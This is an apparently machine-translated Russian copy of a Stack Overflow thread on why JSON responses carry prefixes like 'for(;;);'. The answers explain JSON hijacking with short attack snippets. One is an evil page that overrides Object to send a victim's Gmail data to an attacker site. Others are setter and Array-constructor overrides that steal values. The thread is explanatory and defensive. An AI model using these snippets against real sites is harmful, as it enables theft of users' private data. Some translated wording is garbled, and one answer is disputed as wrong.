Почему люди ставят код вроде «throw 1; <не будь злым> »и« для (;;); »перед ответами json? [Дубликат]

Question

Почему люди ставят код вроде «throw 1; <не будь злым> »и« для (;;); »перед ответами json? [Дубликат]

199

Возможный дубликат:
Почему Google добавляет while (1); к их ответам JSON?

Google возвращает json следующим образом:

throw 1; <dont be evil> { foo: bar}

и Facebooks ajax имеет json вот так:

for(;;); {"error":0,"errorSummary": ""}

Почему они помещают код, который останавливается выполнение и делает недействительным json?
Как они анализируют его, если он недействителен и сбой, если вы попытаетесь оценить это?
Они просто удаляют его из строка (кажется, дорогая)?
Есть ли преимущества безопасности для это?

В ответ на это для целей безопасности:

Если скребок находится в другом домене, им нужно будет использовать тег script для получения данных, потому что XHR не будет работать в кросс-домене. Даже без for(;;);, как бы злоумышленник получил данные? Он не присваивается переменной, поэтому не собирался ли он собирать мусор, потому что нет ссылок на него?

В основном, чтобы получить перекрестный домен данных, они должны были бы сделать

<script src="/json.js"></script>

Но даже без аварийного отказа script злоумышленник не может использовать данные Json без привязки к переменной, доступ к которой вы можете получить глобально (это не в этих случаях). Код сбоя effectivly ничего не делает, потому что даже без него они должны использовать серверные скрипты для использования данных на своем сайте.

Christopher Tarquini 30 июнь 2010, в 05:05

Источник

0

Можете ли вы предоставить ссылку на сайт / JSON, который имеет это?
tcooc 30 июнь 2010, в 06:04
3

См .: stackoverflow.com/questions/3058401/… stackoverflow.com/questions/2669690/…
CMS 30 июнь 2010, в 06:16
0

^ Я обновил вопрос, потому что они не отвечают той части, которая мне интересна.
Christopher Tarquini 30 июнь 2010, в 06:21
0

Хаха, люблю часть "Не будь злом" :)
Gertjan 30 июнь 2010, в 06:33
0

@Userthatisnotauser либо ответ изменился, либо ОП переместил флажок. В любом случае, Бобис имеет правильный ответ. \
rook 03 авг. 2017, в 21:36

Показать ещё 3 комментария

Теги:

javascript

ajax

json

security

4 ответа

55

Учтите, что после проверки вашей учетной записи GMail вы посетите мою злую страницу:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

Что произойдет сейчас, так это то, что код Javascript, который поступает от Google, который, по мнению искателя, был бы доброкачественным и сразу выпадет из сферы действия, будет фактически отправлен на мой злой сайт. Предположим, что URL-адрес, запрошенный в теге script, отправляется (потому что ваш браузер представит правильный файл cookie, Google правильно подумает, что вы вошли в ваш почтовый ящик):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Теперь я отправлю сериализованную версию этого объекта на свой злой сервер. Спасибо!

Способом предотвращения этого является крушение ваших ответов JSON и деградация их, когда вы из одного домена можете манипулировать этими данными. Если вам нравится этот ответ, пожалуйста, примите сообщение, отправленное bobince.

Jesse Dhillon 17 июль 2010, в 06:18

0

Я уверен, что аутентификация Gmail основана не только на файлах cookie, так как это будет очень и очень слабым, как вы описали здесь. Я думаю, что они также содержат сессионные ключи в URL, который вы не можете просто перехватить.
Dykam 17 июль 2010, в 08:23
35

Проблема сайта, целевой аудиторией которого являются программисты, состоит в том, что время от времени вы будете встречать людей, которые {надеются, указывают, используют} менее педантично. Попробуйте это: а) это пример того, как такая атака может работать, а не полное указание хакера на проведение атак на Gmail, и б) как уже указывалось на другой ответ на этот вопрос, аналогичная атака была продемонстрирована против Gmail, разрешить злоумышленнику доступ к списку контактов пользователя.
Jesse Dhillon 17 июль 2010, в 10:11
1

+1, так как это объясняет, насколько хорошо атака жизнеспособна.
Alex Coplan 04 апр. 2012, в 13:37

Показать ещё 1 комментарий

22

EDIT

Эти строки обычно называются "непревзойденными крутыми", и они используются для исправления уязвимости утечки информации, которая влияет на спецификацию JSON. Эта атака является реальным миром и уязвимость в gmail была обнаружена Джеремией Гроссманом. Mozilla также считает, что это уязвимость в спецификации JSON, и она была исправлена в Firefox 3. Однако, поскольку эта проблема по-прежнему влияет на другие браузеры, этот "непревзойденный рывок" необходим, потому что это совместимый патч.

Ответ Bobice содержит техническое объяснение этой атаки, и это правильно.

rook 30 июнь 2010, в 08:57

0

Теперь это имеет больше смысла в использовании и объясняет, почему такие сайты, как Google и Facebook, используют его (разрешая междоменные запросы на гаджеты, виджеты и что-то еще)
Christopher Tarquini 30 июнь 2010, в 08:19
1

Это не правильный ответ, независимо от того, кто дал вам ответ. Правильный ответ, с точки зрения полноты и правильности, дан пользователем bobince внизу. Запрещать просмотр вывода JSON из скрипта в браузере даже не имеет смысла, если в нем есть text/json типом содержимого, он даже не будет открыт, а если бы это был text/[x]html это был бы плохой HTML. Браузер ни в коем случае не выполнит его, если он будет введен как исходный документ Крафт - это предотвращение CSRF-атак и оценка JSON, потому что на сайте злоумышленника прототип Object может быть переопределен для кражи данных.
Jesse Dhillon 17 июль 2010, в 02:11
1

@Jesse Dhillon bobince, может быть, и прав, но в его сообщении чего-то не хватает, неясно, как злоумышленник может повлиять на конструктор. Я все еще думаю, что это для защиты междоменного прокси. Сейчас я перешёл на Google.
rook 17 июль 2010, в 02:24
0

Читайте en.wikipedia.org/wiki/CSRF . У меня есть сайт; Вы заходите на мой сайт после входа на сайт JSON-банка. На моем сайте я определил конструктор, потому что это мой сайт. Я внедрил междоменный скрипт-тег, который, как считал OP, немедленно отбрасывал бы доброкачественные объекты, кроме случаев, когда это не так. Они захвачены моим вредоносным конструктором.
Jesse Dhillon 17 июль 2010, в 02:34
0

@ Джесси Диллон, ты должен прочитать мой профиль, и я все еще скептически отношусь.
rook 17 июль 2010, в 02:50
0

@Jesse Dhillon Вы правы насчет типа контента, но я пока не могу списать сотрудника Google. Особенно, когда в сообщении Бобинса чего-то не хватает. Я не уверен в том, как злоумышленник пойдет в направлении атаки, которую описывает Бобинс.
rook 17 июль 2010, в 02:59
0

Прошу прощения за то, что я вас обидел, но я считаю невероятным, что кто-то с вашим происхождением не а) сам проверил это и б) не видит правду об этом априори, в) принял бы объяснение, что Cruft обеспечивает безопасность, если / когда пользователь получает фрагмент JSON в качестве входного документа для браузера. Мне жаль сообщать вам, что ваш ответ неверный, и если вы точно представили ответ сотрудника Google, то он также ошибается.
Jesse Dhillon 17 июль 2010, в 05:10
0

@Jesse Dhillon Я признаю, что я не уверен на 100% в этом. Мне не нравится ответ Бобинса, потому что это не сценарий атаки. Вы должны признать, что у вас нет эфира ответа (пока вы дали мне -1). Это может быть связано с csrf, но в его нынешнем виде я не вижу, как этот механизм безопасности не позволяет злоумышленнику получить токен csrf или обойти проверку реферера.
rook 17 июль 2010, в 05:52
2

@Jesse Dhillon Посмотрите на этот эксплойт, который я написал ( exploit-db.com/exploits/7922 ). Если вы можете сказать мне, как эта XHR-атака связана с непарсируемым сокращением, я приму, что ее CSRF связана. Поскольку механизм безопасности написан на JS, я уверен, что он связан с xss.
rook 17 июль 2010, в 05:59
0

Другой ответ показывает, как он защищает его от уязвимости утечки данных. Я не знаю, квалифицируется ли он как CRSF, но это вызывающая уязвимость / эксплойт. Это показывает использование <script> и сеттеров / геттеров для получения данных. Установка префикса, подобного приведенному выше, остановит такую атаку. Другой ответ может быть более правильным, в конце концов
Christopher Tarquini 17 июль 2010, в 06:09
0

Я дал этому ответу -1, потому что я не верю, что причина правильная в том, что касается защиты Javascript от выполнения, если URL-адрес запроса доступен непосредственно из строки адреса. Остальная часть этого обмена была отличной, хотя мой ответ - тот, который я опубликовал совсем недавно, и подробное описание Бобинса. Приветствия.
Jesse Dhillon 17 июль 2010, в 06:32
0

@Chris T, Да, Бобис прав, я сначала не согласился, потому что хотел увидеть реальную атаку, подобную этой, на gmail: ( jeremiahgrossman.blogspot.com/2006/01/… )
rook 17 июль 2010, в 06:36
0

Ваш образец эксплойта работает, потому что это атака XSS. По этой причине вы сможете расшифровать ответ, потому что вам удалось получить код, представленный в том же домене, что и целевой целевой сайт. Это отличается от того, что происходит с предлагаемой уязвимостью здесь, где мы осуществляем декраструктуру без победы над тем же источником через XSS.
Jesse Dhillon 17 июль 2010, в 06:42

Показать ещё 11 комментариев

4

Как они анализируют его, если он недействителен и сбой, если вы попытаетесь оценить это?

Это функция, с которой он столкнется, если вы попытаетесь eval его. eval позволяет использовать нестандартный код JavaScript, который может быть использован для атаки на межсайтовый скриптинг.

Они просто удаляют его из строки (кажется, дорого)?

Я так думаю. Возможно, что-то вроде:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

"Не зло" не позволяет разработчикам использовать eval напрямую, а не более безопасную альтернативу.

dan04 30 июнь 2010, в 07:58

6

Это там, чтобы предотвратить использование eval . Не пытайтесь обойти это, используйте вместо этого выделенный анализатор JSON!
kibibu 30 июнь 2010, в 06:23
0

Похоже, что это ближе к реальной цели, чем для предотвращения очистки (в любом случае, для удаления нужно использовать серверные сценарии) +1
Christopher Tarquini 30 июнь 2010, в 06:28
0

@kibubu Хотя выделенный анализатор JSON должен выдавать ошибку об этом.
Matt Mitchell 30 июнь 2010, в 06:28
7

Я хотел бы увидеть это регулярное выражение, если вы не возражаете. Подсказка - не тратьте время, пытаясь написать это :)
Kobi 30 июнь 2010, в 06:31
0

@Kobi Просто думать об этом делает меня смущенным, злым и тошнотворным: P
Christopher Tarquini 30 июнь 2010, в 06:47
0

@ dan04 Я не думаю, что этот сценарий атаки xss реалистичен. Я не вижу, как это обращается к «основанным на dom xss» или даже к использованию XHR + XSS для подделки запросов, который использовался «Sammy Worm».
rook 30 июнь 2010, в 07:45
0

@ dan04 Я знал это, это неправильный ответ. Я нашел объяснение от сотрудника Google.
rook 30 июнь 2010, в 08:07
1

Немного опоздал на вечеринку, но этот ответ совершенно неуместен и ошибочен.
michael 30 май 2016, в 21:29

Показать ещё 6 комментариев

Ещё вопросы

Можете ли вы предоставить ссылку на сайт / JSON, который имеет это?
См .: stackoverflow.com/questions/3058401/… stackoverflow.com/questions/2669690/…
^ Я обновил вопрос, потому что они не отвечают той части, которая мне интересна.
@Userthatisnotauser либо ответ изменился, либо ОП переместил флажок. В любом случае, Бобис имеет правильный ответ. \
Я уверен, что аутентификация Gmail основана не только на файлах cookie, так как это будет очень и очень слабым, как вы описали здесь. Я думаю, что они также содержат сессионные ключи в URL, который вы не можете просто перехватить.
Проблема сайта, целевой аудиторией которого являются программисты, состоит в том, что время от времени вы будете встречать людей, которые {надеются, указывают, используют} менее педантично. Попробуйте это: а) это пример того, как такая атака может работать, а не полное указание хакера на проведение атак на Gmail, и б) как уже указывалось на другой ответ на этот вопрос, аналогичная атака была продемонстрирована против Gmail, разрешить злоумышленнику доступ к списку контактов пользователя.
+1, так как это объясняет, насколько хорошо атака жизнеспособна.
Теперь это имеет больше смысла в использовании и объясняет, почему такие сайты, как Google и Facebook, используют его (разрешая междоменные запросы на гаджеты, виджеты и что-то еще)
Это не правильный ответ, независимо от того, кто дал вам ответ. Правильный ответ, с точки зрения полноты и правильности, дан пользователем bobince внизу. Запрещать просмотр вывода JSON из скрипта в браузере даже не имеет смысла, если в нем есть text/json типом содержимого, он даже не будет открыт, а если бы это был text/[x]html это был бы плохой HTML. Браузер ни в коем случае не выполнит его, если он будет введен как исходный документ Крафт - это предотвращение CSRF-атак и оценка JSON, потому что на сайте злоумышленника прототип Object может быть переопределен для кражи данных.
@Jesse Dhillon bobince, может быть, и прав, но в его сообщении чего-то не хватает, неясно, как злоумышленник может повлиять на конструктор. Я все еще думаю, что это для защиты междоменного прокси. Сейчас я перешёл на Google.
Читайте en.wikipedia.org/wiki/CSRF . У меня есть сайт; Вы заходите на мой сайт после входа на сайт JSON-банка. На моем сайте я определил конструктор, потому что это мой сайт. Я внедрил междоменный скрипт-тег, который, как считал OP, немедленно отбрасывал бы доброкачественные объекты, кроме случаев, когда это не так. Они захвачены моим вредоносным конструктором.
@ Джесси Диллон, ты должен прочитать мой профиль, и я все еще скептически отношусь.
@Jesse Dhillon Вы правы насчет типа контента, но я пока не могу списать сотрудника Google. Особенно, когда в сообщении Бобинса чего-то не хватает. Я не уверен в том, как злоумышленник пойдет в направлении атаки, которую описывает Бобинс.
Прошу прощения за то, что я вас обидел, но я считаю невероятным, что кто-то с вашим происхождением не а) сам проверил это и б) не видит правду об этом априори, в) принял бы объяснение, что Cruft обеспечивает безопасность, если / когда пользователь получает фрагмент JSON в качестве входного документа для браузера. Мне жаль сообщать вам, что ваш ответ неверный, и если вы точно представили ответ сотрудника Google, то он также ошибается.
@Jesse Dhillon Я признаю, что я не уверен на 100% в этом. Мне не нравится ответ Бобинса, потому что это не сценарий атаки. Вы должны признать, что у вас нет эфира ответа (пока вы дали мне -1). Это может быть связано с csrf, но в его нынешнем виде я не вижу, как этот механизм безопасности не позволяет злоумышленнику получить токен csrf или обойти проверку реферера.
@Jesse Dhillon Посмотрите на этот эксплойт, который я написал ( exploit-db.com/exploits/7922 ). Если вы можете сказать мне, как эта XHR-атака связана с непарсируемым сокращением, я приму, что ее CSRF связана. Поскольку механизм безопасности написан на JS, я уверен, что он связан с xss.
Другой ответ показывает, как он защищает его от уязвимости утечки данных. Я не знаю, квалифицируется ли он как CRSF, но это вызывающая уязвимость / эксплойт. Это показывает использование <script> и сеттеров / геттеров для получения данных. Установка префикса, подобного приведенному выше, остановит такую атаку. Другой ответ может быть более правильным, в конце концов
Я дал этому ответу -1, потому что я не верю, что причина правильная в том, что касается защиты Javascript от выполнения, если URL-адрес запроса доступен непосредственно из строки адреса. Остальная часть этого обмена была отличной, хотя мой ответ - тот, который я опубликовал совсем недавно, и подробное описание Бобинса. Приветствия.
@Chris T, Да, Бобис прав, я сначала не согласился, потому что хотел увидеть реальную атаку, подобную этой, на gmail: ( jeremiahgrossman.blogspot.com/2006/01/… )
Ваш образец эксплойта работает, потому что это атака XSS. По этой причине вы сможете расшифровать ответ, потому что вам удалось получить код, представленный в том же домене, что и целевой целевой сайт. Это отличается от того, что происходит с предлагаемой уязвимостью здесь, где мы осуществляем декраструктуру без победы над тем же источником через XSS.
Это там, чтобы предотвратить использование eval . Не пытайтесь обойти это, используйте вместо этого выделенный анализатор JSON!
Похоже, что это ближе к реальной цели, чем для предотвращения очистки (в любом случае, для удаления нужно использовать серверные сценарии) +1
@kibubu Хотя выделенный анализатор JSON должен выдавать ошибку об этом.
Я хотел бы увидеть это регулярное выражение, если вы не возражаете. Подсказка - не тратьте время, пытаясь написать это :)
@Kobi Просто думать об этом делает меня смущенным, злым и тошнотворным: P
@ dan04 Я не думаю, что этот сценарий атаки xss реалистичен. Я не вижу, как это обращается к «основанным на dom xss» или даже к использованию XHR + XSS для подделки запросов, который использовался «Sammy Worm».
@ dan04 Я знал это, это неправильный ответ. Я нашел объяснение от сотрудника Google.
Немного опоздал на вечеринку, но этот ответ совершенно неуместен и ошибочен.

bobince · Accepted Answer · 2010-06-30T09-06-00.000Z

Даже без for(;;);, как бы злоумышленник получил данные?

Атаки основаны на изменении поведения встроенных типов, в частности Object и Array, путем изменения их конструкторской функции или ее prototype. Затем, когда целевой JSON использует конструкцию {...} или [...], они будут собственными версиями этих объектов злоумышленниками с потенциально неожиданным поведением.

Например, вы можете взломать свойство setter в Object, которое предает значения, записанные в объектных литералах:

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

Затем, когда a <script> указал на какой-то JSON, который использовал это имя свойства:

{"x": "hello"}

значение "hello" будет пропущено.

То, как массивные и объектные литералы вызывают создание сеттеров, является спорным. Firefox удалил поведение в версии 3.5 в ответ на публичные атаки на громких веб-сайтах. Однако на момент написания Safari (4) и Chrome (5) все еще уязвимы для этого.

Другая атака, которую теперь запретили все браузеры, заключалась в переопределении конструкторских функций:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

И на данный момент реализация свойств IE8 (основанная на стандарте ECMAScript Fifth Edition и Object.defineProperty) в настоящее время не работает на Object.prototype или Array.prototype.

Но так же, как и защита прошлых браузеров, возможно, что расширения для JavaScript вызывают больше потенциальных утечек подобного рода в будущем, и в этом случае мякина должна также защищаться от них.

Очень интересно, я никогда не думал об использовании сеттеров. +1
Как злоумышленник влияет на конструктор? Как эти испорченные данные выполняются клиентом?
+1 Да, Бобис это правильно. Я хотел увидеть настоящую атаку против gmail, подобную этой: jeremiahgrossman.blogspot.com/2006/01/…
Мне потребовалось некоторое время, чтобы понять механизм атаки. Для тех, кто этого не понимает: злоумышленник заманивает пользователя на страницу под контролем злоумышленника, на которой есть два тега сценария. Первый скрипт вносит необходимые изменения в прототипы Array и Object. Атрибут src второго тега сценария указывает на URL-адрес, возвращающий JSON на целевом сайте, заставляя пользователя извлечь JSON (отправка файлов cookie с запросом; этого нельзя избежать в запросе сценария) и выполнить его как JavaScript.
Хм ... первый действительно работает (или работал)? С каких это пор { область применения блока? Или объект должен быть вложен в массив?